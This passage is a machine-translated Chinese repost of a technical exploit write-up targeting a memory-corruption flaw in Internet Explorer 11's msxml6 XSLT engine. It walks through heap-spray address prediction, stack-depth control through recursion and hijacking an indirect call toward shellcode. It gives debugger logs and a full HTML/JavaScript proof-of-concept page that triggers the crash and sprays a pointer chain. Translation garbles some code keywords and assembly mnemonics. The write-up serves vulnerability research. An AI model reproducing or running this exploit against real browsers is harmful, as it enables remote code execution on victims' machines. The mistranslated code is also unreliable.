考虑到分配的寻址可预测性,两个
可以在多个测试中进行观察:
1. 两个分配都按 16 页对齐,添加了 0x20 字节的标头
启用整页堆设置(或默认设置为 0x8)。
2. 两种分配的内存地址都是高度可预测的。
事实上,两个分配的地址会因测试而异
'just' 大约 0x1'000'000 字节,这在
0x19'000'000+0x12'000'000 几乎连续受控内存的术语
空间:
; 为便于阅读而编辑的 windbg 脚本日志
; 通过重新启动应用程序并记录相同的分配产生
; 显示两个数组内分配的地址
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x27f30020
0x3a8b0020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x283f0020
0x3ad70020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x27ea0020
0x3a820020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x28530020
0x3aeb0020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x284e0020
0x3ae60020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x28aa0020
0x3b420020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x28e60020
0x3b7e0020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x28440020
0x3adc0020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x28560020
0x3aee0020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x28480020
0x3ae00020
打开的日志文件 'c:\users\user\desktop\windbg.log'
0x28a00020
0x3b380020
没有研究高度可预测记忆的确切原因
分配,如果不是不可避免的话,这似乎是合乎逻辑的,越大
分配,其地址在 x86 系统上的可预测性越高
因为内存空间的限制。这种猜测完全
由不同分配大小的观察证实。
考虑到分配处置的可靠性风险
内存,预期的内存映射可能会在以下发生变化
情况:
1. 浏览器加载的附加模块,例如 BHO 或 ActiveX。
这个因素不可能被远程控制。另一方面,
可执行模块的平均大小在 400Mb 方面是微不足道的
受控的内存分配,因此它不应该扭曲预期的内存
地图太多了。
2. 在同一选项卡中处理的其他 Web 内容(加载的图像,
JavaScript 执行等),这将改变堆栈情况。因为
每个 IE 选项卡都在单独的进程中加载,这个因素完全可以
由易受攻击的网页控制。
3. 微软改变 IE 内部结构。无法控制。
4. 启用或禁用整页堆设置。全页堆设置
显着改变了整个内存布局,使得
漏洞控制代码必须在这方面进行微调
具体来说。
总而言之,此时内存着陆空间看起来足够安全
得到解决。
--[ 3.6 - 递归控制
控制范围内的连续内存区域
[0x28000000,0x57000000],这可能是最安全的
范围中间的崩溃指针,例如大约 0x47000000。到
实现这一点,JavaScript 递归计数必须具体
计算以达到围绕堆栈偏移量的崩溃过程
0x...4700。
Internet Explorer 11 中一个 JavaScript 递归帧的大小是
0x320,每一帧对应一个阶乘算法的循环:
; 堆栈上的 JavaScript 阶乘算法递归
0529b0d4 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
0529b0e0 0x86c0fd9
0529b428 jscript9!Js::InterpreterStackFrame::Process+0xbd7
0529b544 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
0529b550 0x86c0fd9
0529b898 jscript9!Js::InterpreterStackFrame::Process+0xbd7
0529b9b4 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
0529b9c0 0x86c0fd9
前提是易受攻击的浏览器会在堆栈周围随机崩溃
偏移 0x...ac00 到 0x...b300,堆栈必须膨胀
0xb650(+-0x350)-0x4700=0x6f50(+-0x350) 字节,这需要
(0x6f50+-0x350)/0x320=35+-1 个递归周期,或者调用
阶乘(35)。事实上,测试这会导致访问冲突
在所需地址周围:
(268.2a4):访问冲突 - 代码 c0000005(第一次机会)
在任何异常处理之前报告第一次机会异常。
可以预期并处理此异常。
eax=489019b1 ebx=1a819ff0 ecx=1a819f42 edx=6f6e4430 esi=1a819f40
edi=19b14770 eip=6f6f9c85 esp=19b1476c ebp=19b14888 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
msxml6!XEngine::stns+0x6:
6f6f9c85 mov edx,dword ptr [eax+8] ds:0023:489019b9=????????
--[ 3.7 - 程序计数器控制
根据易受攻击的 XCode 执行逻辑,
XEngine::brns() 中的动态调用是通过三个连续的
对崩溃指针的取消引用:
msxml6!XEngine::stns:
6f6f9c7f mov eax,dword ptr [ecx+0B0h] ; 检索到 ptr0 (eax)
6f6f9c85 mov edx,dword ptr [eax+8] ; ptr0 -> 崩溃 / ptr1 (edx)
6f6f9c88推esi
6f6f9c89 lea esi,[edx+0Ch]
6f6f9c8c mov dword ptr [eax+8],esi
6f6f9c8f mov eax,dword ptr [edx+4] ; ptr1 -> ptr2 (eax)
6f6f9c92 推 8
6f6f9c94 mov dword ptr [ecx+0A4h],eax ; 存储 ptr2
6f6f9c9a 流行音乐
6f6f9c9b 流行音乐
6f6f9c9c ret
...
msxml6!XEngine::brns:
712da250 mov edi,edi
712da252推esi
712da253 mov esi,ecx
712da255 mov ecx,dword ptr [esi+0A4h];恢复 ptr2(随机 2 个字节)
712da25b mov eax,dword ptr [ecx] ; ptr2 -> ptr3 (eax)
712da25d 调用 dword ptr [eax] ; ptr3 -> 外壳代码
因此,ptr0 处的着陆内存内容必须满足以下条件
取消引用逻辑:
Ptr0(初始 AV / 喷雾中的地址)->
ptr1 -> ptr2 -> ptr3 -> shellcode
在上面的指针链中,指针 1 和 3 是精确的,因为它们是
从内存填充中读取;但指针 0 在 100Mb 内是随机的
由于错误的性质,范围,并且指针 2 仅是页面精确的
由于程序中的 2 字节内存对齐差异,其中
指针被存储然后恢复。
由于仅在第 0 次和第 2 次随机内存访问
指针,需要两个分割的内存区域来包含整个
解引用链,一个部分(和第一个被解引用的)包含
指向第二部分的指针,第二部分包含指向
shellcode,以及特别处理的presize地址:
函数 poc()
{
// !!! 需要 +hpa !!!
// bp msxml6!xengine::stns; bp msxml6!xengine::brns; G;
var intArr = 新数组;
intArr[0] = 0x01c0ffee;// 标记 // s 0 l?80000000 ee ff c0 01
变量计数 = (0x19000000-0x20)/4; // 400 MB
for(var i=1; i<=count; i++)
{
// part1: ptr0/ptr1 读取
如果(我<(0x12000000/4))
{
if ( ((i*4+0x20)&0xffff) == (0x3c3c+4) ) //如果是ptr1读取
intArr[i] = 0x54545454; // 然后产生 ptr2
别的
intArr[i] = 0x3c3c3c3c;// 否则,ptr1
}
// part2: ptr2 读取
别的
intArr[i] = 0x00badd1e; // ptr3 -> 外壳代码
}
碰撞();
}
脚本中的数值是根据经验选择完整的
启用页堆;如果任何东西不起作用,请调整它们。
结果应该是:
(ddc.f28):访问冲突 - 代码 c0000005(第一次机会)
在任何异常处理之前报告第一次机会异常。
可以预期并处理此异常。
eax=00badd1e ebx=11f71ff0 ecx=5454492c edx=5454492c esi=11f71f40
edi=04ef4740 eip=6f6fa25d esp=04ef4738 ebp=04ef4858 iopl=0
nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b
gs=0000 efl=00210202
msxml6!XEngine::brns+0xd:
6f6fa25d ff10 调用 dword ptr [eax] ds:0023:00badd1e=????????
--[ 4 - 自我补丁
下一节将讨论可能有用的应用
无需执行任何 shell 代码即可控制漏洞:
易受攻击的进程的自我修补。
--[ 4.1 - 有漏无漏
与许多内存损坏漏洞不同,这个特定的漏洞确实
不允许可用于泄漏某些内存的任意内存写入
允许绕过 DEP 和 ASLR 并执行任意代码的信息
在 IE 沙箱中。但漏洞的性质仍然
允许少量且有限的信息泄漏,可用于
恢复内存值,需要继续正常执行(
CoE) 的易受攻击的应用程序。
具体来说,因为崩溃指针包含
由于未对齐的内存读取,堆栈在其下部偏移,并且
受控内存空间是页面对齐的,因此可能会“泄漏”部分
通过将访问的内存地址转换为堆栈地址
在仔细计算的帮助下从该地址读取的值
内存填充。
关于我们的精确图案,有几个关键点需要了解
填充。
1. 我们从喷雾中的每个 dword 必须包含
它自己的偏移量到页面的值。页面大小的图案就足够了
因为我们只想泄漏大约 2 个字节的堆栈地址。
2.接下来,我们根据喷射循环计数器计算所有模式值
如下: i_pattern = i*4%0x1000;
3. 我们确保对齐的喷雾也将在内存中对齐
分配足够大的连续内存块。大内存
分配往往是 16 页对齐的,即从地址开始
像 0xXYZQ0000(另见上面的 windbg.log),看起来很正常
内存优化策略
堆管理器。
4.接下来,因为padding必须解析两个连续的内存
取消引用,同时将泄漏的数据位保留在实际中
指针,我们将页面大小的模式分成两半并填充它们
不同:
否则如果(i_pattern < 0x0700)
intArr[i] = ptr12base + ptr1;
别的
intArr[i] = ptr12base + ptr2;
这个技巧之所以可行,是因为在
随机分配的堆栈偏移量的高阶部分,往往是
大约 0x04xxxxxx-0x06xxxxxx。因此我们实际上只想泄漏 11 位
地址而不是 16,0x700 字节模式就足够了。
5. 我们通过以下方式区分模式两部分中的指针
添加和删除一个手工挑选的、半随机的增量值到泄漏
指针的一部分:
变量增量 = 0x3300;
6. 最后,我们将计算调整为各自的值
取消引用索引,例如第一次读取的 [eax+8] 以及
堆头的大小,整页堆为 0x20:
ptr1 = (i_pattern - 8 + 0x20 + delta);
ptr2 = (i_pattern - 4 + 0x20 - (delta&0xfff));
请注意,我们有意识地使用了一个大于
模式,然后我们还保留添加的 delta 的 2 个高位
第二阶段指针中的值,最终将增加
在未对齐的内存访问的情况下填充的可靠性
确保spray中的大部分字节等于0x38,
因此最终指针可能会指向受控内存
大约 0x38xxxxxx,无论读数如何
对齐和指针中的泄漏位。
由于正确计算和正确定位
填充,最初读取的内存偏移量将在程序中重新浮出水面
作为最终从范围中读取的值的低位字
0x3838xxxx:
0:007> dd 4b6004e0+8
; 4b6004e0 = 原始 AV 指针
; 第 0 次读取 // mov edx,dword ptr [eax+8]
4b6004e8 383837e0 383837e4 383837e8 383837ec
4b6004f8 383837f0 383837f4 383837f8 383837fc
4b600508 38383800 38383804 38383808 3838380c
4b600518 38383810 38383814 38383818 3838381c
4b600528 38383820 38383824 38383828 3838382c
4b600538 38383830 54545454 38383838 3838383c
4b600548 38383840 38383844 38383848 3838384c
4b600558 38383850 38383854 38383858 3838385c
0:007> dd 383837e0+4
; 第一次读取 // 04e0 是堆栈地址的高位字
383837e4 383804e0 383804e4 383804e8 383804ec
383837f4 383804f0 383804f4 383804f8 383804fc
38383804 38380500 38380504 38380508 3838050c
38383814 38380510 38380514 38380518 3838051c
38383824 38380520 38380524 38380528 3838052c
38383834 38380530 38380534 54545454 3838053c
38383844 38380540 38380544 38380548 3838054c
38383854 38380550 38380554 38380558 3838055c
读取的值,即堆栈偏移量的两个泄漏字节,将
然后被应用程序本身用来恢复原来的 3rd
指针,这导致检索的正确地址
XEngine::brns() 中的动态调用,并恢复程序执行
就像没有漏洞一样:
0:007> p
; 我们精心设计的值(从内存填充中读取)
; 堆栈地址 04e0 的 2 个泄漏字节:
eax=383804e0
...
; 写出精心设计的价值
msxml6!XEngine::stns+0x15:
6f6f9c94 8981a4000000 mov dword ptr [ecx+0A4h],eax
; 通过未对齐的指针写入的值:
0:007> dd ecx+a4 l1
11b3dfe6 4c1404e0
; 通过理智指针读取的值:
0:007> dd ecx+a4-2
11b3dfe4 04e04c2c
; 看起来不错:
0:007> dds 04e04c2c
04e04c2c 6f6e44b8 msxml6!RTFNodeSet::`vftable'
; 恢复了原来的调用指针:
0:007> dds poi 04e04c2c
6f6e44b8 6f6e44d5 msxml6!XPSingleTextNav<WhitespaceCheck>::_getParent
结果是目标应用程序传递了导致崩溃的代码
没有崩溃:
*------------------------*
| 来自网页 X 的消息 |
|------------------------------------|
| |
| 看,没有计算!|
| |
| / 确定/ |
*------------------------*
--[ 4.2 - 偏移到值的转换
根据我的测试框,堆栈地址的高位字永远不会
超过 0x06xx,因此崩溃指针将始终落在
目标内存页的前 0x700 字节,所以剩下的 0x900 字节
该页面的可用于翻译目的:
var i_pattern = i*4%0x1000; // 索引到当前页面
ptr1 = (i_pattern - 8 + 0x20 + delta);
ptr2 = (i_pattern - 4 + 0x20 - (delta&0xfff));
如果(i_pattern < 0x0700)
intArr[i] = ptr12base + ptr1;
别的
intArr[i] = ptr12base + ptr2;
这里的问题是不能保证原始的崩溃指针
正确对齐,而记忆翻译模式必须是
双字对齐。也就是说,正确对齐的内存访问将导致
从喷雾中读取像 0x3838XYZQ 这样的值,其中 XYZQ 是
堆栈偏移量的泄漏位。但是让我们看看用 a 读到了什么
未对齐的指针:
一种。关闭 1: 0x38XYZQ38
在这种情况下,指针仍然落入受控内存区域,但
泄露的堆栈地址的 XY 位将被破坏,因为我们可以
只保证内存分配的 64Kb 对齐。
湾。关闭 2: 0xXYZQ3838
堆栈地址的所有位都丢失了,指针看起来
不可预测的。但是我们仍然可以强制它指向受控
0x38xxxxxx 附近的内存,通过添加特制的 delta 值
如前所述,0x3300 用于计算喷雾中的指针。所以,
例如,读取值 0x07073838 将成为指向 0x3a373838 的有效指针。
这是可能的,因为堆栈偏移的高 4 位往往是
零。
C。关闭 3: 0xZQ3838XY
在这种情况下,堆栈偏移的最重要位会丢失,并且
ZQ 泄露的比特是高度熵的,并且无法预测为
在情况 b。在这种情况下无能为力,这很可能
指向随机内存并可能导致访问冲突。
关于上述错位案例需要注意的一件事是
指针 和 b。非常合乎逻辑地以我们用作的 0x38 结尾
图案基础。因此,我们可以在代码中捕获 3 个错位案例中的 2 个
通过根据这个值检查最后一个字节,然后解决它们
特别是例如回退到原始 EIP 控制,而不是允许
碰撞:
// 地址以 0x38+4 结尾:
if ( ((i*4+0x20)&0xff) == (pbyte+4) )
intArr[i] = ptrcall;
...
0:007> r
eax=4fc0055e ; 崩溃的指针
...
0:007> dd eax+8
; 第 0 次读取:未对齐
4fc00566 38603838 38643838 38683838 386c3838
4fc00576 38703838 38743838 38783838 387c3838
4fc00586 38803838 38843838 38883838 388c3838
4fc00596 38903838 38943838 38983838 389c3838
4fc005a6 38a03838 38a43838 38a83838 38ac3838
4fc005b6 38b03838 38b43838 38b83838 38bc3838
4fc005c6 38c03838 38c43838 38c83838 38cc3838
4fc005d6 38d03838 38d43838 38d83838 38dc3838
0:007> dd 38603838+4
; 第一读:特殊价值
3860383c 54545454 3838053c 38380540 38380544
3860384c 38380548 3838054c 38380550 38380554
3860385c 38380558 3838055c 38380560 38380564
3860386c 38380568 3838056c 38380570 38380574
3860387c 38380578 3838057c 38380580 38380584
3860388c 38380588 3838058c 38380590 38380594
3860389c 38380598 3838059c 383805a0 383805a4
386038ac 383805a8 383805ac 383805b0 383805b4
0:007> dd 54545454
; 第二次读取/调用地址
54545454 00badd1e 00badd1e 00badd1e 00badd1e
54545464 00badd1e 00badd1e 00badd1e 00badd1e
54545474 00badd1e 00badd1e 00badd1e 00badd1e
关于最后一个 3 字节未对齐的内存访问情况,读取
像 0xZQ3838XY 这样的指针,其中 ZQ 是完全随机的,这是要求
精确控制进程整个内存空间的内容,
这可能不是不可能的,但可能不值得。所以我离开它
单独作为一个崩溃。
最终代码是:
<!doctype html>
<html>
<头部>
<脚本>
函数崩溃()
{
xsl 内容=
'<xsl:样式表
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" \\
version="1.0"><xsl:template name="main_template"
匹配="/"><xsl:for-each \\
select="*"><xsl:apply-templates/></xsl:for-each>
</xsl:template><xsl:template \\ name="xx"
match="x[position()]" /></xsl:stylesheet>';
srcTree=new ActiveXObject("Msxml2.DOMDocument.6.0");
xsltTree=new ActiveXObject("Msxml2.DOMDocument.6.0");
xsltTree.loadXML(xslcontent);
警报(“崩溃”);
srcTree.transformNode(xsltTree);
}
函数自我补丁()
{
// !!! 需要 +hpa !!!
// bp msxml6!xengine::stns;bp msxml6!xengine::brns;g;
var intArr = 新数组;
intArr[0] = 0x01c0ffee;// 标记 // s 0 l?80000000 ee ff c0 01
变量计数 = (0x19000000-0x20)/4; // 400 MB
// ptr0(spray/crash)->ptr1->ptr2->ptr3->shellcode
// 0x3a..0x40.. -> 0x3838xxxx -> 0x3838yyyy -> 补丁或shellcode
var pbyte = 0x38; //和我一起玩
//登陆初始内存访问:
var ptr12base = (pbyte<<24)+(pbyte<<16); //0x38380000
变量 ptr1 = 0; // 从页面偏移量计算
变量 ptr2 = 0; // 从页面偏移量计算
var ptrcall = 0x54545454; // 0x5454xxxx -> 指向调用地址的指针
变量增量 = 0x3300;
// 添加和删除增量以隔离第一个
// 以及模式中的第二个内存访问区域;
// 0x1000 以上的附加位用于强制执行
// 成功的 1 字节未对齐内存访问
for(var i=1; i<=count; i++)
{
var i_pattern = i*4%0x1000; // 索引到当前页面
// 让我们用指向 shellcode 的普通指针填充喷尾
if ( i>(0x12000000/4) ) // 定义“尾巴”从哪里开始
{
intArr[i] = 0x00badd1e;
继续;
}
ptr1 = (i_pattern - 8 + 0x20 + delta);
ptr2 = (i_pattern - 4 + 0x20 - (delta&0xfff));
// 未对齐的内存访问:回退到代码执行
if ( ((i*4+0x20)&0xff) == (pbyte+4) )
intArr[i] = ptrcall;
// 良好对齐的内存访问:恢复指针
否则如果(i_pattern < 0x0700)
intArr[i] = ptr12base + ptr1;
别的
intArr[i] = ptr12base + ptr2;
}
碰撞();
alert("看,没有计算!");
}
函数阶乘(n)
{
如果(n == 0)
{
自我补丁();
返回 1;
}
别的
返回 n * 阶乘(n - 1);
}
</脚本>
</head>
<body onload="factorial(30);">
<form id="a">
</form>
<dfn id="b">
</dfn>
<div id="resTree"></div>
</正文>
</html>
在我的测试盒上,最终的概念验证代码产生了一个自我补丁
在 25% 的测试用例中,在 50% 的用例中使用后备控制,并且
25% 的情况下不可避免的崩溃。该结果与理论相符
偏移平移的最大可能增益的期望
方法。之前的代码执行只有概念验证代码应该
在 100% 的测试用例中产生 EIP 控制。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。